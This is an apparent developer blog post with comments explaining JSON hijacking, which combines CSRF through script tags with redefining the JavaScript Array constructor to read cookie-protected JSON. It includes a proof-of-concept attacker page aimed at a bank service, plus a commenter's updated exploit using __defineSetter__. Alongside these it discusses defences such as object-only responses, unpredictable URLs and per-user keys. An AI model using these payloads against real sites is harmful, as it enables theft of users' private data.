JSON is not as safe as people think it is

I saw some discussion recently about using JSON for secured data, and I'm not sure that everyone understands the risks.

I believe that JSON is unsafe for anything but public data unless you are using unpredictable URLs.

There are 2 problems. CSRF (Cross Site Request Fogery) allows attackers to bypass cookie based authentication. I blogged about it a while ago. Wikipedia talks about it. CSRF allows you to invoke cookie protected actions on a remote server. It allows Mr. Evil to trick Mrs. Innocent into transferring money from her bank account into his.

Far less known perhaps, is the JSON/Array hack that allows a user to steal JSON data on Mozilla and any other platform with a modern JavaScript interpreter.

There are many ways to fetch data from a server, but the interesting cases here are: XHR, iframe and script-tags. Without knowledge of the JSON/Array hack it's easy to reason like this:

  • XHR: Browser cross-domain rules prevent the attacker from making the request in the first place.
  • iframe: The attacker can embed an iframe that points at some remote server (the bank in the above example) and ask to be sent some JSON, but browser cross-domain rules prevent scripts from the attackers domain from reading the reply, so the JSON is safe because it will never be eval()ed.
  • Script-Tags: The attacker can embed a script tag pointing at a remote server and the browser will effectively eval() the reply for you, however it throws away the response and since JSON is all response, you're safe.

It's the last of these arguments that is suspect. The dynamic nature of JavaScript will let you redefine how the browser evaluates the JSON.

Here's how it works, and you can follow along with any JavaScript console:

  1. Redefine the Array constructor:
    function Array() { alert("hi"); }
  2. Verify that this constructor is called when arrays are created:
    var a = [ 43 ];
  3. Use the new feature to manipulate the array:
    function Array() {
      this[1] = 50;
    }
    var a = [40];
    alert(a[0] + a[1]); // Gives 90
    

So we can call secure JSON data using CSRF with a script tag to by-pass the cookie authentication, and then use the JSON/Array hack to steal the JavaScript data from the browser as it processes the script-tag.

So we've redefined the Array constructor, how do we actually get the data out? The syntax below works in current versions of Firefox, although from my reading of the spec proposals, it's not a part of Javascript 2, and it appears to fail in IE/Safari/Opera.

Create a web page at evil.com, with a couple of script tags like this:

<script type='text/javascript'>
function Array() {
  var obj = this;
  var ind = 0;
  var getNext = function(x) {
    obj[ind++] setter = getNext;
    if (x) alert(Data stolen from array: " + x.toString());
  };
  this[ind++] setter = getNext;
}
</script>
<script type='text/javascript' src='http://bank.com/jsonservice'> </script>

The long and short is that JSON is not safe in any system that uses cookies for authentication.

With DWR we use full JavaScript which is as vulnerable as JSON, however DWR's CSRF protection automatically uses the doubly-submitted cookie pattern to provide extra safety.

I'm by no means the first person to think of this; Jeremiah Grossman used it to break GMail over a year ago.

Update: If you are doing JSON 100% properly, then you will only have objects at the top level. Arrays, Strings, Numbers, etc will all be wrapped. A JSON object will then fail to eval() because the JavaScript interpreter will think it's looking at a block rather than an object. This goes a long way to protecting against these attacks, however it's still best to protect your secure data with un-predictable URLs.

Comments

Joe Walker Re: JSON is not as safe as people think it is

I think you are getting invalid label because the Javascript interpreter can't distinguish between an object and a code block, so it thinks the foo: is a label.

In the script-tag based case the interpreter can tell the difference, (can't think why right now).

You can wrap the JSON in () to force the interpreter to think of it as JSON and not a code block.

e.g.

({ "F":[ 43 ] })

Mark Goodwin Re: JSON is not as safe as people think it is

Those planning on writing future-proof exploit code should note that 'setter' (and 'getter' for that matter) is deprecated. See this link for more info.

Using the new syntax; the sample code looks like this:

      function Array() {
        var obj = this;
        var ind = 0;

        var getNext = function(x) {
          this.__defineSetter__(eval('ind++'),getNext);
          if (x) alert("Data stolen from array: " + x.toString());
         };
         this.__defineSetter__(eval(ind++),getNext);
      }
      

Tom Re: JSON is not as safe as people think it is

Hi Joe,I think it's great you are being wary of JSON for personalised data. However there are a couple of things you mentioned I don't totally agree with. You use the example of an array, however the syntax you used isn't actually JSON. http://json.org clearly defines JSON and stuff has to be wrapped in { } to be valid JSON. I discussed in a post last year (http://kid666.com/blog/2006/12/23/security-ajax-json-satisfaction/) about why arrays are vulnerable where objects are not. It comes down to the syntax used to allow Javascript to have multi-dimensional arrays. If you want to do secure JSON the best thing is to use a secure key which comes from the domain pages which consume the JSON and is validated on the server. This is usually implemented by using a server side language to print the 'key' to the page calling the JSON. A cookie is used to store a user unique value which is hashed with a secret. This value is passed as an HTTP argument with the JSON. Since each user has their own key a 3rd party can't call the JSON as that user successfully.

Rob Yates Re: JSON is not as safe as people think it is

I have updated the Safe JSON post to reflect these concerns. Many thanks for pointing them out and please let me know if you think that there are still vulnerabilities, Rob

Douglas Crockford Re: JSON is not as safe as people think it is

This statement is strictly true: JSON is unsafe for anything but public data unless you are using unpredictable URLs. It is true for all data formats. There was never a good reason to believe that JSON reduced the need for vigilant design.

Joe Walker Re: JSON is not as safe as people think it is

I totally agree with you, about good application design.

My worry is that so few people understand the issues. Take a look at the comments, particularly on the Ajaxian thread, and you will see a lot of confusion, and the confused are creating insecure webapps.

Comments have been turned off on old posts